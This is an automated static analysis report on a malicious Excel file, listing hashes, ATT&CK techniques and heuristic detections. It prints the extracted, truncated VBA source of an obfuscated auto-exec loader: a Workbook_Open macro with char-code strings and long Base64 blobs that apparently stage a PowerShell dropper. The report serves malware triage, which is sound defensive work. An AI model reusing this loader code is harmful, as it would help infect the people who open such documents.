Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 20a3c4161a7cb8aa…

MALICIOUS

Office (OOXML)

21.0 KB Created: 2020-05-14 05:55:15 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-15
MD5: 8103da29e7f7b5a6ce34b375218b144b SHA-1: 526846dc30c00f6afe710a19c786def12c1c0cab SHA-256: 20a3c4161a7cb8aa9a893ab5418ca1c3235a0fdd5d352580085da49f0f1369d3
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

This malicious Excel document contains an obfuscated VBA macro that executes automatically upon opening. The macro utilizes CreateObject and appears to be designed to decode and execute a second-stage payload, likely leveraging the Workbook_Open event for initial execution. The specific payload and its ultimate destination could not be fully determined due to the obfuscation and truncation of the script.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9667 bytes
SHA-256: fc3c26d850d9d45552c91a28471cf62b916b629d805012528f1d5587364700f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
'fdgsdgdfgsdgfghd
uxn4vUUgtbe9BK.RRZXNV27DdSYwczjqrWRv4KB
'fgdjhfdshgufdshg

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "uxn4vUUgtbe9BK"
Sub RRZXNV27DdSYwczjqrWRv4KB()
On Error Resume Next
Gv = wq(105) & wq(115) & wq(106) & wq(38) & wq(53) & wq(105) & wq(38) & wq(86) & wq(85) & wq(100) & wq(93) & wq(100) & wq(75) & wq(120) & wq(121) & wq(100) & wq(78) & wq(75) & wq(100) & wq(114) & wq(82) & wq(38) & wq(51) & wq(107) & wq(38)
Gv = Gv & "WwBzAFkAUwB0AGUAbQAuAFQARQBYAFQALgBFAG4AYwBvAGQASQBuAEcAXQA6ADoAVQBuAEkAYwBPAEQARQAuAGcAZQBUAFMAdABSAGkATgBHACgAWwBzAFkAUwB0AGUAbQAuAEMATwBOAHYARQBSAHQAXQA6ADoAZgByAE8AbQBCAGEAUwBlADYANABzAHQAcgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEARABRAEEASwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAW"
Gv = Gv & "QBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEUAOABBAE4AdwBCAGgAQQBHAHcAQQBZAHcAQgBEAEEARQB3AEEAYwBRAEEAegBBAEUAawBBAFIAUQBCAFIAQQBEAFUAQQBTAEEAQgBwAEEARQA0AEEAUQB3AEIAVgBBAEcAYwBBAGUAZwBCAFcAQQBGAGMAQQBZAGcAQgBRAEEARQBvAEEAUQB3AEIATABBAEcANABBAGEAUQBCAGsAQQBGAFkAQQBRAHcAQgB4AEEARgA4AEEAYwBRAEIAQwBBAEQAVQBBAGIAUQBCAGYAQQBFAG8AQQBNAHcAQgB6AEEARwBnAEEAYwBBAEIATQBBAEUATQBBAFkAZwBCAFMAQQBFAFEAQQBhAEEAQgBoAEEARABZAEEAYgBnAEIAbwBBAEgAbwBBAE0AUQBCAGwAQQBFAG8AQQBXAGcAQgBaAEEARABFAEEAYQBRAEIARwBBAEYAbwBBAGQAdwBCAEQAQQBHAHcAQQBTAFEAQgBqAEEARwBjAEEAVQBnAEIAYQBBAEYAVQBBAFYAUQBBADMAQQBHADQAQQBlAEEAQg"
Gv = Gv & "AyAEEARQBRAEEAUgB3AEIAcwBBAEQASQBBAGEAZwBCAEIAQQBFAEkAQQBXAGcAQgBaAEEARQBjAEEATgBBAEIANABBAEcAYwBBAFgAdwBCAE0AQQBHAHMAQQBVAHcAQgBVAEEARwB3AEEAUgB3AEIANgBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBTAEEAQgBpAEEARgBFAEEAZQBRAEIAbwBBAEUANABBAFEAUQBCAHIAQQBGAEUAQQBhAGcAQgBOAEEARQBNAEEAYwB3AEEAZwBBAEMAdwBBAEkAQQBBAGsAQQBFAFkAQQBVAGcAQgAzAEEARABnAEEATwBRAEIAZgBBAEYAZwBBAFcAQQBCAHYAQQBHAE0AQQBUAHcAQgB1AEEAQwBBAEEASwBRAEIANwBBAEMAQQBBAGEAUQBCAHQAQQBGAEEAQQBUAHcAQgBTAEEARgBRAEEATABRAEIATgBBAEUAOABBAFIAQQBCADEAQQBFAHcAQQBSAFEAQQBnAEEARQBJAEEAUwBRAEIAMABBAEgATQBBAFYAQQBCAFMAQQBFAEUAQQBUAGcAQgBUAEEARQBZAEEAWgBRAEIAUwBBAEQAcwB"
Gv = Gv & "BAEQAUQBBAEsAQQBIAE0AQQBWAEEAQgBCAEEARgBJAEEAZABBAEEAdABBAEcASQBBAFMAUQBCAFUAQQBGAE0AQQBkAEEAQgBTAEEARwBFAEEAVABnAEIAVABBAEUAWQBBAFoAUQBCAHkAQQBDAEEAQQBMAFEAQgBUAEEARQA4AEEAVgBRAEIAUwBBAEUATQBBAFIAUQBBAGcAQQBDAFEAQQBTAEEAQgBpAEEARgBFAEEAZQBRAEIAbwBBAEUANABBAFEAUQBCAHIAQQBGAEUAQQBhAGcAQgBOAEEARQBNAEEAYwB3AEEAZwBBAEMAMABBAFIAQQBCAGwAQQBIAE0AQQBWAEEAQgBKAEEARQA0AEEAWQBRAEIAMABBAEcAawBBAFQAdwBCAHUAQQBDAEEAQQBKAEEAQgBHAEEARgBJAEEAZAB3AEEANABBAEQAawBBAFgAdwBCAFkAQQBGAGcAQQBiAHcAQgBqAEEARQA4AEEAYgBnAEEANwBBAEMAQQBBAEoAZwBBAGcAQQBDAFEAQQBSAGcAQgBTAEEASABjAEEATwBBAEEANQBBAEYAOABBAFcAQQBCAFkAQQBHADgAQQBZAHcAQgBQ"
Gv = Gv & "AEEARwA0AEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBOAEEAQQBvAEEARABRAEEASwBBAEMAUQBBAGIAQQBCADMAQQBEAFkAQQBSAGcAQgBzAEEASABrAEEAUQBRAEIAYQBBAEYAbwBBAFcAZwBCAEIAQQBHAGsAQQBNAFEAQgA0AEEARgBZAEEATQBnAEEAMQBBAEQAWQBBAFAAUQBBAGsAQQBFAFUAQQBUAGcAQgAyAEEARABvAEEAUQBRAEIAUQBBAEYAQQBBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQQByAEEAQwBjAEEAWABBAEIAWABBAEUANABBAFkAdwBCAE8AQQBFAFUAQQBXAEEAQgBpAEEASABrAEEAVQBnAEIAVgBBAEYAYwBBAFkAZwBCAHQAQQBIAFUAQQBaAFEAQgBSAEEARQBrAEEAVwBRAEIATQBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAUAB
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 28160 bytes
SHA-256: f48131387eddf0be0b2e505ef96adb6a2eeaab2ec2b1f7ed751962db7af54559
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).

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